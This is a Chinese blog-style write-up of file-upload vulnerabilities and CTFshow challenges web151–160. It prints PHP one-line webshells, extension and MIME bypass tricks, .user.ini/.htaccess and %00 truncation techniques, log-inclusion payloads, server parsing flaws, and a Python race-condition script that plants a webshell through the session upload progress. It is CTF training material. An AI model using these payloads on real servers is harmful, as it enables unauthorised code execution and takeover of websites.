文件上传+CTF题目

概念:

web客户端在上传文件时,没有对上传文件的内容,扩展名等进行过滤。

路径的关系

区别相对路径中一些符号表示
../表示上一目录
./表示当前目录
/表示根目录

一句话木马

1.<?php eval($_POST[1]);?>
2.<script language='php'>eval($_POST[1]);</script>
3.<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[1]);?>")?>

文件上传绕过:

1.绕过js代码:

(1)一般的web网页前端在上传文件时,都会利用js代码对文件的扩展名。也就是说,如果对文件的扩展名进行过滤了,可能是js代码的作用了。
(2)方法:

利用火狐的"about:config"来禁用js代码执行。
先使用可以使用的扩展名进行上传,利用bp抓包,改数据包扩展名,再放包。

2.绕过服务端(MIME类型)

(1)服务端是在数据包传输过去后再进行响应,所以不能通过绕过js的方法,进行绕过
(2)一般是通过查看http上传的文件的Content-type来进行检测。
(3)方法:bp改变数据包,将数据包的content-type进行改变为合法的内容。
(4)一般合法的content-type:

超文本标记语言.html:text/html
普通文本.txt文件:text/plain
PDF文件:application/pdf
word文档:application/msword
png/gif:application/png/gif
.avi:video/msavi

3.绕过黑名单

1. 通过改变后缀大小写的方式来进行绕过
2. 通过双写来绕过:如果代码中对扩展名直接解析过滤为空格,说明就可以通过绕过。
3. 可以将php写成php5,php7,phtml等没有在黑名单的后缀
4. 可以在末尾加上 “空格”
5. 加末尾加上点`.`
6. 加上`::$DATA `
7. 空格,点,::$DATA相结合

绕过白名单

所谓白名单,只允许一些合法的jpg通过
可以采用%00截断来截断字符,可以绕过

1.php%00.jpg

图片马

windows制造图片马:

copy 1.png \b + 2.php \a shell.png

文件上传后利用蚁剑进行连接后门

条件

1.需要文件的路径,一般为/upload/1.php
2.传入木马

CTFshow

客户端验证

前端js验证

在这里插入图片描述
原理:
一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。
判断方式:
在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。
绕过姿势:
1.关闭浏览器js,火狐是输入框输入about:config
2.先上传png文件,然后burp抓包,改后缀名,即可成功上传木马

CTFshow-web157
  1. 上传png文件,burp抓包,改后缀,放包
  2. 方法一 蚁剑连接
    在这里插入图片描述
    方法二,利用命令执行,直接访问upload/1.php,然后 post传1=system(‘tac …/f*’); flag在当前文件所在位置的上一层。
    在这里插入图片描述

服务端验证

文件头content-type字段校验(image/gif)

绕过姿势:上传php文件burp抓包,然后改文件头content-type即可

ctfshow-web152

方法跟web151一样的

文件内容头校验(GIF89a)

绕过姿势:在文件中加一个GIF89a这种即可

(1) .JPEG:.JPE;.JPG,”JPGGraphic File”
(2) .gif:”GIF 89A”
(3) .zip:”Zip Compressed”
(4) .doc;.xls;.xlt;.ppt;.apr:”MS Compound Document v1 or Lotus Approach APRfile”
后缀名黑名单校验

绕过姿势:
(1)找黑名单扩展名的漏网之鱼 - 比如 asa 和 cer 之类
(2)可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类
能被解析的文件扩展名列表:
jsp jspx jspf
asp asa cer aspx
php php php3 php4
exe exee
phtml php3 php4 php5 Php php (空格) php.,pphphp

后缀名白名单校验

绕过姿势:跟黑名单检测一样的,只需要改变后缀名

重点:利用.user.ini配置文件进行绕过

.user.ini是什么?

.user.ini是lnmp文件,里面放的是你网站的文件夹路径地址。目的是防止跨目录访问和文件跨目录读取。

官方文档

自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

也就是说当web目录中有.user.ini,php会优先执行里面的配置。
也就是里面除了PHP_INI_SYSTEM模式的配置以外都可以在.user.ini中进行重写。
那么我们就去找我们需要用到配置
发现auto_append_fileauto_prepend_file
一个相当于在每个php文件尾加上 include(“xxxx”),一个相当于文件头加上 include(“xxx”)

ctfshow153
  1. 先上传一个带有木马的png文件,然后上传.user.ini文件
    在这里插入图片描述
    重写.user.ini,并利用auto-append-file=xxx(文件路径),来包含文件
    在这里插入图片描述
    然后木马上传成功后,方法就一样了
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

利用.htaccess来绕过

CTF题目

https://blog.youkuaiyun.com/unexpectedthing/article/details/121026007
关于htaccess的拓展

路径截断绕过与普通截断绕过(验证后缀名)

上传图片马(可以在图片马头加GIF89a),发现有保存路径
成功的条件:php版本小于5.3.4
php的magic_quotes_gpc=off
可能为路径截断绕过(常用的就是00截断)
1、Get:在上传路径处…/upload/1.php%00
2、Post:对…/upload/1.php后进行16进制hex修改为00
3、还有一种非路径截断,上传图片马(视情况加GIF89a)
抓包修改为:1.php;jpg或者1.php%00.jpg或者1.php/00.jpg

短标签绕过

1. <?php  echo ('123')    ?>  ---- 常规写法
不需要开启参数设置
2.  <?=(表达式)?>  等价于 <?php echo (表达式)?>
注:
     利用短标签写法可以绕过一些对php字符的过滤
     Windows环境中短标签默认是打开的,Linux下 默认是关闭的。
     控制参数: php支持短标签,需要我们把short_open_tag 设置为On.
3.  <%  echo '123'    %>
注:需要配置php.ini文件。在配置文件中找到asp_tags=off ,将off改为on。改动配置文件后需要重启apache。经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。
4.  <script language=”php”> echo '123' </script>
不需要修改参数开关,但是只能在7.0以下可用。
web154,155

过滤了php或者?这些,就使用短标签

  1. 将图片马的内容改成上面的东西
  2. 然后传.user.ini,即可上传木马成功。
web156

一句话木马

eval($_POST[1]);

过滤了[],在前两题的基础上把[] 换成{}

web157,158,159

过滤了分号、{}、system()等(不同题过滤的不一样),所以直接构造命令执行即可

<?=system('tac ../f*')?>
<?=`tac ../f*`?>

然后最后访问/upload/index.php
为什么要访问index.php

我的理解就是在upload下面有个index.php的文件,它的回显是nothing here,当访问index.php,会启动php,优先解析.user.ini的配置,然后包含了文件,就触发了1.png图片马的内容,执行命令函数
160

过滤了括号反引号还有一些关键字
利用日志包含绕过,图片内容<?=include"/var/lo"."g/nginx/access.lo"."g"?>

在php代码中,可以使用点号来进行字符串的拼接。因为log被过滤了。所以用拼接绕过

日志包含,可以看我这篇文章

上传完.user.ini和图片后
访问网站然后修改User-Agent头信息,UA可以是直接得到flag,也可以传一句话木马

原理就是:当访问index.php,触发了.user.ini,再到图片马的东西,再到日志文件去找。

在这里插入图片描述

操作系统解析漏洞绕过

windows
win服务器比较难报出来,一般是知道它的绝对路径特点,有盘符可能为win   二是利用错误文件报错如正确为index.php,改为错误的1index.php 或者index.xxxx,如果报错服务器中间件信息为iis那它是win服务器)
绕过:
1、上传1.php(或者图片马),抓包改为1.php.
2、上传1.php(或者图片马),抓包改为1.php::$DATA
3、上传1.php(或者图片马),抓包改为1.php:1.jpg
4、上传1.php(或者图片马),抓包改为1.php::$DATA…….
linux
在linux下,如果上传php不被解析,可以试试上传pHp后缀的文件名。

CMS,编辑器漏洞

6.CMS、编辑器漏洞
(1)CMS漏洞:比如说JCMS等存在的漏洞,可以针对不同CMS存在的上传漏洞进行绕过。
(2)编辑器漏洞:比如FCK,ewebeditor等,可以针对编辑器的漏洞进行绕过。
这两方面的漏洞以后单独成文汇总,这里点到为止

重点:服务器解析漏洞

好的文章
https://blog.youkuaiyun.com/Fly_hps/article/details/80781571
iis漏洞

上传图片马,抓包修改为1.asp;.jpg或者%00 /00也可以
上传图片马抓包,修改后缀为.asa、.cer和.cdx等,当然不检测内容和类型是直接上传也可以
上传图片马,抓包发现有保存图片的路径,如…/upload/image
我们修改路劲为…/upload/image/1.asp
(然后就会存在…/upload/image/1.asp/目录,在这个目录下任何文件当作asp文件解析) iis7.0也存在这漏洞

apache

绕过:利用了apache从右向左解析漏洞
1、上传图片马,bp抓包为1.php.xxxx.abc
2、上传.htaccess文件(内容:SetHandler application/x-httpd-php
)(如果允许上传),再上传图片马
Ps:如果能上传.htacess文件,但不能解析,可以试试下面

<FilesMatch "filename">
 
SetHandler application/x-httpd-php
 
</FilesMatch>

Filename 为你想要上传的文件后缀名。如jpg
然后我们再上传1.jpg图片马即可

nginx

上传图片马,拿到图片马的路径,访问的时候加上/.php 就可作为php文件解析
如/upload/image/1.jpg/.php

tomacat

一般为肉口令进入tomcat后台,上传war包即可,shell.jsp–>shell.zip–>shell.war

session文件包含绕过

session与cookie的区别
Session是在服务端保存的一个数据结构,用来跟踪用户的状态,这个数据可以保存在集群、数据库、文件中;
Cookie是客户端保存用户信息的一种机制,用来记录用户的一些信息,也是实现Session的一种方式。
两者的区别:
1,session 在服务器端,cookie 在客户端(浏览器)
2,session 默认被存在在服务器的一个文件里(不是内存)
3,session 的运行依赖 session id,而 session id 是存在 cookie 中的,也就是说,如果浏览器禁用了 cookie ,同时 session 也会失效(但是可以通过其它方式实现,比如在 url 中传递 session_id)
4,session 可以放在 文件、数据库、或内存中都可以。
5,用户验证这种场合一般会用 session
6,cookie存储session_id,然后用户验证找cookie,cookie的sessionid到服务端,就可以实现用户验证。
文件上传加条件竞争

这个是利用session来传入木马,实现控制
脚本

import requests
import threading
import sys
session=requests.session()
sess='yu22x'
url1="http://05b536c9-c839-4df4-80a9-ddbc1ddeb979.challenge.ctf.show:8080/"
url2='http://05b536c9-c839-4df4-80a9-ddbc1ddeb979.challenge.ctf.show:8080?file=/tmp/sess_'+sess
data1={
	'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}
data2={
	'1':'system("cat f*");'
}
file={
	'file':'abc'
}
cookies={
	'PHPSESSID': sess
}
def write():
	while True:
		r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
	while True:
		r = session.post(url2,data=data2)
		if 'ctfshow{' in r.text:
			print(r.text)
threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
	t.start()
  1. 原理
通过将恶意代码传入session中,进行文件包含,就达到了传webshell
  1. 利用条件
 需要找到session的可控变量,知道session的存储路径
php的session文件可以在phpinfo的session.save_path看到
常见的session存储路径
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值